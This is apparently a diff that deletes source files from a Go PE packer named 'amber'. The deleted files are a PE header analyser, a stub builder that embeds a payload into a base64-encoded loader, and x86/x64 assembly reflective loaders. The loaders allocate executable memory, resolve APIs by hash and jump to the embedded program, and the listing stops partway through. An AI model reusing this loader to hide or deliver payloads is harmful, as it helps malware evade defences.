golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191127201027-ecd32218bd7f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=
google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=
google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.3.0 h1:clyUAQHOM3G0M3f5vQj7LuJrETvjVot3Z5el9nffUtU=
gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4=
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 668 KiB

-74
View File
@@ -1,74 +0,0 @@
package amber
import (
"errors"
pe "amber/debug/pe"
)
// Analyze returns a Blueprint structure for the given PE file name
func Analyze(fileName string) (*Blueprint, error) {
var new Blueprint
peFile, err := pe.Open(fileName)
if err != nil {
return nil, err
}
new.file = peFile
// Set file name
new.FileName = fileName
// Set architecture
switch peFile.FileHeader.Machine {
case pe.IMAGE_FILE_MACHINE_I386:
new.Architecture = 32
case pe.IMAGE_FILE_MACHINE_AMD64:
new.Architecture = 64
default:
return nil, errors.New("file architecture not supported")
}
switch hdr := (peFile.OptionalHeader).(type) {
case *pe.OptionalHeader32:
// cast those back to a uint32 before use in 32bit
new.ImageBase = uint64(hdr.ImageBase)
new.Subsystem = hdr.Subsystem
new.SizeOfImage = hdr.SizeOfImage
new.IsDLL = peFile.Characteristics == (peFile.Characteristics | pe.IMAGE_FILE_DLL)
new.HasRelocData = hdr.DataDirectory[5].Size != 0x00
new.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00
new.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00
new.IsCLR = hdr.DataDirectory[14].Size != 0x00
new.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase))
new.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase))
new.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase))
new.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase))
break
case *pe.OptionalHeader64:
new.ImageBase = hdr.ImageBase
new.Subsystem = hdr.Subsystem
new.SizeOfImage = hdr.SizeOfImage
new.IsDLL = peFile.Characteristics == (peFile.Characteristics | pe.IMAGE_FILE_DLL)
new.HasRelocData = hdr.DataDirectory[5].Size != 0x00
new.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00
new.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00
new.IsCLR = hdr.DataDirectory[14].Size != 0x00
new.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase))
new.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase))
new.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase))
new.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase))
break
}
fileSize, err := GetFileSize(fileName)
if err != nil {
return nil, err
}
new.FileSize = fileSize
// Check for TLS callbacks !!!
return &new, nil
}
-91
View File
@@ -1,91 +0,0 @@
package amber
import (
pe "amber/debug/pe"
"bytes"
"encoding/base64"
"encoding/binary"
"io/ioutil"
"os"
)
// CompileStub generates the final stub file with given payload
func (bp *Blueprint) CompileStub(payload []byte) ([]byte, error) {
tmpStub, err := ioutil.TempFile(os.TempDir(), "amber_")
if err != nil {
return nil, err
}
defer os.Remove(tmpStub.Name())
stub := []byte{}
switch bp.Architecture {
case 32:
stub, err = base64.StdEncoding.DecodeString(STUB32)
case 64:
stub, err = base64.StdEncoding.DecodeString(STUB64)
}
tmpStub.Write(stub)
tmpStubPE, err := pe.Open(tmpStub.Name())
var sizeOfImage, fileAlignment uint32
var imageBase uint64
lastSection := tmpStubPE.Sections[tmpStubPE.NumberOfSections-1]
switch tmpStubPE.FileHeader.Machine {
case pe.IMAGE_FILE_MACHINE_I386:
// cast those back to a uint32 before use in 32bit
hdr := tmpStubPE.OptionalHeader.(*pe.OptionalHeader32)
imageBase = uint64(hdr.ImageBase) // cast this back to a uint32 before use in 32bit
sizeOfImage = hdr.SizeOfImage
fileAlignment = hdr.FileAlignment
break
case pe.IMAGE_FILE_MACHINE_AMD64:
hdr := tmpStubPE.OptionalHeader.(*pe.OptionalHeader64)
imageBase = hdr.ImageBase
sizeOfImage = hdr.SizeOfImage
fileAlignment = hdr.FileAlignment
break
}
lastSectionOffset := bytes.Index(stub, []byte(lastSection.Name))
newSectionName := "." + randomString(7)
stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], []byte(lastSection.Name), []byte(newSectionName), 1)...)
oldBytes := make([]byte, 4)
newBytes := make([]byte, 4)
// Change ImageBase
binary.LittleEndian.PutUint32(oldBytes, uint32(imageBase))
binary.LittleEndian.PutUint32(newBytes, uint32(bp.ImageBase))
stub = bytes.Replace(stub, oldBytes, newBytes, 1)
// Change SizeOfImage
binary.LittleEndian.PutUint32(oldBytes, uint32(sizeOfImage))
binary.LittleEndian.PutUint32(newBytes, uint32(bp.SizeOfImage+sizeOfImage))
stub = bytes.Replace(stub, oldBytes, newBytes, 1)
// Change SectionVirtualSize
binary.LittleEndian.PutUint32(oldBytes, uint32(lastSection.VirtualSize))
binary.LittleEndian.PutUint32(newBytes, align(uint32(len(payload)), fileAlignment, 0))
stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], oldBytes, newBytes, 1)...)
// Change SectionRawSize
binary.LittleEndian.PutUint32(oldBytes, uint32(lastSection.Size))
binary.LittleEndian.PutUint32(newBytes, align(uint32(len(payload)), fileAlignment, 0))
stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], oldBytes, newBytes, 3)...)
oldSectionData, err := lastSection.Data()
if err != nil {
return nil, err
}
stub = bytes.Replace(stub, oldSectionData, payload, 1)
return stub, nil
}
func align(size, align, addr uint32) uint32 {
if 0 == (size % align) {
return addr + size
}
return addr + (size/align+1)*align
}
-867
View File
@@ -1,867 +0,0 @@
package amber
const LoaderX64 = `
start:
pop rsi ; Get the address of image to rsi
call get_ip ; Push the current EIP to stack
get_ip:
cld ; Clear direction flags
sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size+8 to ST[0]
mov rbp,rsp ; Copy current stack address to rbp
and rbp,-0x1000 ; Create a new shadow stack address
mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax
mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx
mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12
mov r9d,0x40 ; PAGE_EXECUTE_READ_WRITE
mov r8d,0x00103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
mov rdx,[rsp] ; dwSize
xor rcx,rcx ; lpAddress
xchg rsp,rbp ; Swap shadow stack
mov r10d,0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc")
call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
xchg rsp,rbp ; Swap shadow stack
mov rdi,rax ; Save the new base address to rdi
xor rax,rax ; Zero out the RAX
xor r8,r8 ; Zero out the R8
xor r13,r13 ; Zero out the R13
xor r14,r14 ; Zero out the R14
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov ecx,dword [rax+rsi+0xB4] ; Base relocation table size
mov eax,dword [rax+rsi+0xB0] ; Base relocation table RVA
add rax,rsi ; Base relocation table memory address
add rcx,rax ; End of base relocation table
calc_delta:
mov rdx,rdi ; Move the new base address to rdx
sub rdx,rbx ; Delta value
mov r13d,dword [rax] ; Move the reloc RVA to R13D
mov r14d,dword [rax+4] ; Move the reloc table size to R14D
add rax,8 ; Move to the reloc descriptor
jmp fix ; Start fixing
get_rva:
cmp rcx,rax ; Check if the end of the reloc section
jle reloc_fin ; If yes goto fin
mov r13d,dword [rax] ; Move the new reloc RVA
mov r14d,dword [rax+4] ; Move the new reloc table size
add rax,8 ; Move 8 bytes
fix:
cmp r14w,8 ; Check if the end of the reloc block
jz get_rva ; If yes set the next block RVA
mov r8w,word [rax] ; Move the reloc desc to r8w
cmp r8w,0 ; Check if it is a padding word
je pass ; Pass padding bytes
and r8w,0x0FFF ; Get the last 12 bits
add r8d,r13d ; Add block RVA to desc value
add r8,rsi ; Add the start address of the image
add [r8],rdx ; Add the delta value to calculated absolute address
pass:
sub r14d,2 ; Decrease the index
add rax,2 ; Move to the next reloc desc.
xor r8,r8 ; Zero out r8
jmp fix ; Loop
reloc_fin: ; All done !
xor r14,r14 ; Zero out r14
xor r15,r15 ; Zero out r15
xor rcx,rcx ; Zero out rcx
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,dword [rax+rsi+0x90] ; Import table RVA
add rax,rsi ; Import table memory address (first image import descriptor)
push rax ; Save import descriptor to stack
get_modules:
cmp dword [rax],0 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax
add rcx,rsi ; Get the dll name address
call LoadLibraryA ; Load the library
mov r13,rax ; Move the dll handle to R13
mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [rsp],0x14 ; Move to the next import descriptor
mov rax,[rsp] ; Set the new import descriptor address to eax
jmp get_modules ; Get other modules
get_procs:
mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA
add r14,rsi ; Get the IAT memory address
mov rax,[rax] ; Set the import names table RVA to eax
add rax,rsi ; Get the current import descriptor's import names table address
mov r15,rax ; Save &INT to R15
resolve:
cmp dword [rax],0 ; Check if end of the import names table
jz all_resolved ; If yes resolving process is done
mov rax,[rax] ; Get the RVA of function hint to eax
btr rax,0x3F ; Check if the high order bit is set
jnc name_resolve ; If high order bit is not set resolve with INT entry
shl rax,2 ; Discard the high bit by shifting
shr rax,2 ; Shift back the original value
call GetProcAddress ; Get the API address with hint
jmp insert_iat ; Insert the address of API tı IAT
name_resolve:
add rax,rsi ; Set the address of function hint
add rax,2 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov [r14],rax ; Insert the function address to IAT
add r14,8 ; Increase the IAT index
add r15,8 ; Increase the import names table index
mov rax,r15 ; Set the address of import names table address to eax
jmp resolve ; Loop
all_resolved:
mov qword [r14],0 ; Insert a NULL qword
ret ; <-
LoadLibraryA:
xchg rbp,rsp ; Swap shadow stack
mov r10d,0xE2E6A091 ; crc32("KERNEL32.DLL", "LoadLibraryA")
call api_call ; LoadLibraryA(RCX)
xchg rbp,rsp ; Swap shadow stack
ret ; <-
GetProcAddress:
xchg rbp,rsp ; Swap shadow stack
mov rcx,r13 ; Move the module handle to RCX as first parameter
mov rdx,rax ; Move the address of function name string to RDX as second parameter
mov r10d,0xA18B0B38 ; crc32("KERNEL32.DLL", "GetProcAddress")
call api_call ; GetProcAddress(ebx,[esp+4])
xchg rbp,rsp ; Swap shadow stack
ret ; <-
complete:
pop rax ; Clean out the stack
pop rcx ; Pop the ImageSize into RCX
push rdi ; Save ImageBase to stack
mov r13,rdi ; Copy the new base value to r13
add r13,r12 ; Add the address of entry value to new base address
memcpy:
mov al,[rsi] ; Move 1 byte of PE image to AL register
mov [rdi],al ; Move 1 byte of PE image to image base
mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint)
inc rsi ; Increase PE image index
inc rdi ; Increase image base index
loop memcpy ; Loop until zero
PE_start:
pop r13 ; Pop the image base to r13
or rcx,-1 ; hProcess
xor rdx,rdx ; lpBaseAddress
xor r8,r8 ; hProcess
xchg rbp,rsp ; Swap shadow stack
mov r10d,0x975B539E ; crc32("KERNEL32.dll", "FlushInstructionCache")
call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL);
xchg rbp,rsp ; Swap shadow stack
add r13,r12 ; Add the address of entry value to image base
jmp r13 ; Call the AOE
`
const LoaderX86 = `
start:
cld ; Clear direction flags
pop esi ; Get the address of image to esi
call get_ip ; Push the current EIP to stack
get_ip:
sub [esp],esi ; Subtract &PE from EIP and get image_size
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
push eax ; Save the address of entry to stack
push 0x40 ; PAGE_EXECUTE_READ_WRITE
push 0x103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
push dword [esp+0xC] ; dwSize
push 0 ; lpAddress
push 0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc")
call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
push eax ; Save the new image base to stack
xor edx,edx ; Zero out the edx
relocate:
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov ecx,[eax+esi+0xA4] ; Base relocation table size
mov eax,[eax+esi+0xA0] ; Base relocation table RVA
add eax,esi ; Base relocation table memory address
add ecx,eax ; End of base relocation table
calc_delta:
mov edi,[esp] ; Move the new base address to EDI
sub edi,ebx ; Delta value
push dword [eax] ; Reloc RVA
push dword [eax+4] ; Reloc table size
add eax,8 ; Move to the reloc descriptor
jmp fix ; Start fixing
get_rva:
cmp ecx,eax ; Check if the end of the reloc section ?
jle reloc_fin ; If yes goto fin
add esp,8 ; Deallocate old reloc RVA and reloc table size variables
push dword [eax] ; Push new reloc RVA
push dword [eax+4] ; Push new reloc table size
add eax,8 ; Move 8 bytes
fix:
cmp word [esp],8 ; Check if the end of the reloc block
jz get_rva ; If yes set the next block RVA
mov dx,word [eax] ; Move the reloc desc to dx
cmp dx,0 ; Check if it is a padding word
je pass
and dx,0x0FFF ; Get the last 12 bits
add edx,[esp+4] ; Add block RVA to desc value
add edx,esi ; Add the start address of the image
add dword [edx],edi ; Add the delta value to calculated absolute address
pass:
sub dword [esp],2 ; Decrease the index
add eax,2 ; Move to the next reloc desc.
xor edx,edx ; Zero out edx
jmp fix ; Loop
reloc_fin:
pop eax ; Deallocate all vars
pop eax ; ...
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,[eax+esi+0x80] ; Import table RVA
add eax,esi ; Import table memory address (first image import descriptor)
push eax ; Save the address of import descriptor to stack
get_modules:
cmp dword [eax],0 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
add eax,esi ; Get the dll name address
call LoadLibraryA ; Load the library
mov ebx,eax ; Move the dll handle to ebx
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [esp],0x14 ; Move to the next import descriptor
mov eax,[esp] ; Set the new import descriptor address to eax
jmp get_modules
get_procs:
push ecx ; Save ecx to stack
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
add [esp],esi ; Get the IAT memory address
mov eax,[eax] ; Set the import names table RVA to eax
add eax,esi ; Get the current import descriptor's import names table address
push eax ; Save it to stack
resolve:
cmp dword [eax],0 ; Check if end of the import names table
jz all_resolved ; If yes resolving process is done
mov eax,[eax] ; Get the RVA of function hint to eax
cmp eax,0x80000000 ; Check if the high order bit is set
js name_resolve ; If high order bit is not set resolve with INT entry
sub eax,0x80000000 ; Zero out the high bit
call GetProcAddress ; Get the API address with hint
jmp insert_iat ; Insert the address of API tı IAT
name_resolve:
add eax,esi ; Set the address of function hint
add eax,2 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov [ecx],eax ; Insert the function address to IAT
add dword [esp],4 ; Increase the import names table index
add dword [esp+4],4 ; Increase the IAT index
mov eax,[esp] ; Set the address of import names table address to eax
jmp resolve ; Loop
all_resolved:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov dword [ecx],0 ; Insert a NULL dword
pop ecx ; Deallocate index values
pop ecx ; ...
pop ecx ; Put back the ecx value
ret ; <-
LoadLibraryA:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of linrary name string
push 0xE2E6A091 ; crc32( "kernel32.dll", "LoadLibraryA" )
call api_call ; LoadLibraryA([esp+4])
pop edx ; Retreive edx
pop ecx ; Retreive ecx
ret ; <-
GetProcAddress:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of proc name string
push ebx ; Push the dll handle
push 0xA18B0B38 ; crc32( "kernel32.dll", "GetProcAddress" )
call api_call ; GetProcAddress(ebx,[esp+4])
pop edx ; Retrieve edx
pop ecx ; Retrieve ecx
ret ; <-
complete:
pop eax ; Clean out the stack
pop edi ; ..
mov edx,edi ; Copy the address of new base to EDX
pop eax ; Pop the address_of_entry to EAX
add edi,eax ; Add the address of entry to new image base
pop ecx ; Pop the image_size to ECX
memcpy:
mov al,[esi] ; Move 1 byte of PE image to AL register
mov [edx],al ; Move 1 byte of PE image to image base
inc esi ; Increase PE image index
inc edx ; Increase image base index
loop memcpy ; Loop until ECX = 0
PE_Start:
jmp edi ; Call PE AOE
`
const FixedLoaderX64 = `
start:
pop rsi ; Get the address of image to rsi
call get_ip ; Push the current EIP to stack
get_ip:
sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size to R11
mov rbp,rsp ; Copy current stack address to rbp
and rbp,-0x1000 ; Create a new shadow stack address
mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax
mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx
mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12
push rax ; Allocate 8 bytes for lpflOldProtect
mov r9,rsp ; lpflOldProtect
mov r8d,dword 0x40 ; PAGE_EXECUTE_READWRITE
mov rdx,qword [rsp+8] ; dwSize
mov rcx,rbx ; lpAddress
mov r10d,0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" )
xchg rsp,rbp ; Swap shadow stack
call api_call ; VirtualProtect( image_base, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect)
xchg rsp,rbp ; Swap shadow stack
xor rax,rax ; Zero EAX
xor r14,r14 ; Zero R14
xor r15,r15 ; Zero R15
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,dword [rax+rsi+0x90] ; Import table RVA
add rax,rsi ; Import table memory address (first image import descriptor)
push rax ; Save import descriptor to stack
get_modules:
cmp dword [rax],0 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax
add rcx,rsi ; Get the dll name address
call LoadLibraryA ; Load the library
mov r13,rax ; Move the dll handle to R13
mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [rsp],0x14 ; Move to the next import descriptor
mov rax,[rsp] ; Set the new import descriptor address to RAX
jmp get_modules
get_procs:
mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA to R14D
add r14,rsi ; Get the IAT memory address
mov rax,[rax] ; Set the import names table RVA to RAX
add rax,rsi ; Get the current import descriptor's import names table address
mov r15,rax ; Save &INT to R15
resolve:
cmp dword [rax],0 ; Check if end of the import names table
jz all_resolved ; If yes resolving stage is done
mov rax,[rax] ; Get the RVA of function hint to eax
btr rax,0x3F ; Check if the high order bit is set
jnc name_resolve ; If high order bit is not set resolve with INT entry
shl rax,2 ; Discard the high bit by shifting
shr rax,2 ; Shift back the original value
call GetProcAddress ; Get API address with hint
jmp insert_iat ; Insert the address of API to IAT
name_resolve:
add rax,rsi ; Set the address of function hint
add rax,2 ; Move to function name
call GetProcAddress ; Get the function address to eax
insert_iat:
mov [r14],rax ; Insert the function address to IAT
add r14,8 ; Increase the IAT index
add r15,8 ; Increase the import names table index
mov rax,r15 ; Set the address of import names table address to RAX
jmp resolve ; Loop
all_resolved:
mov qword [r14],0 ; Insert a NULL qword
ret ; <-
LoadLibraryA:
xchg rbp,rsp ; Swap shadow stack
mov r10d,0xE2E6A091 ; hash( "kernel32.dll", "LoadLibraryA" )
call api_call ; LoadLibraryA(RCX)
xchg rbp,rsp ; Swap shadow stack
ret ; <-
GetProcAddress:
xchg rbp,rsp ; Swap shadow stack
mov rcx,r13 ; Move the module handle to RCX as first parameter
mov rdx,rax ; Move the address of function name string to RDX as second parameter
mov r10d,0xA18B0B38 ; hash( "kernel32.dll", "GetProcAddress" )
call api_call ; GetProcAddress(RCX,RDX)
xchg rbp,rsp ; Swap shadow stack
ret ; <-
complete:
pop rax ; Clean out the stack
pop rax ; ...
pop rcx ; Pop the image_size to RCX
push rbx ; Push the new base adress to stack
add [rsp],r12 ; Add the address of entry value to new base address
memcpy:
mov al,[rsi] ; Move 1 byte of PE image to AL register
mov [rbx],al ; Move 1 byte of PE image to image base
inc rsi ; Increase PE image index
inc rbx ; Increase image base index
loop memcpy ; Loop until zero
ret ; <-
`
const FixedLoaderX86 = `
start: ;
cld ; Clear direction flags
pop esi ; Get the address of image to esi
call get_ip ; Push the current EIP to stack
get_ip:
sub [esp],esi ; Subtract &PE from EIP and get image_size
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
push eax ; Save the address of entry to stack
push ebx ; Save image base to stack
push 0x00000000 ; Allocate a DWORD variable inside stack
push esp ; lpflOldProtect
push 0x40 ; PAGE_EXECUTE_READWRITE
push dword [esp+0x14] ; dwSize
push ebx ; lpAddress
push 0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" )
call api_call ; VirtualProtect( ImageBase, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect)
pop eax ; Fix the stack
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,[eax+esi+0x80] ; Import table RVA
add eax,esi ; Import table memory address (first image import descriptor)
push eax ; Save the address of import descriptor to stack
get_modules:
cmp dword [eax],0x00 ; Check if the import names table RVA is NULL
jz complete ; If yes building process is done
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
add eax,esi ; Get the dll name address
call LoadLibraryA ; Load the library
mov ebx,eax ; Move the dll handle to ebx
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call get_procs ; Resolve all windows API function addresses
add dword [esp],0x14 ; Move to the next import descriptor
mov eax,[esp] ; Set the new import descriptor address to eax
jmp get_modules
get_procs:
push ecx ; Save ecx to stack
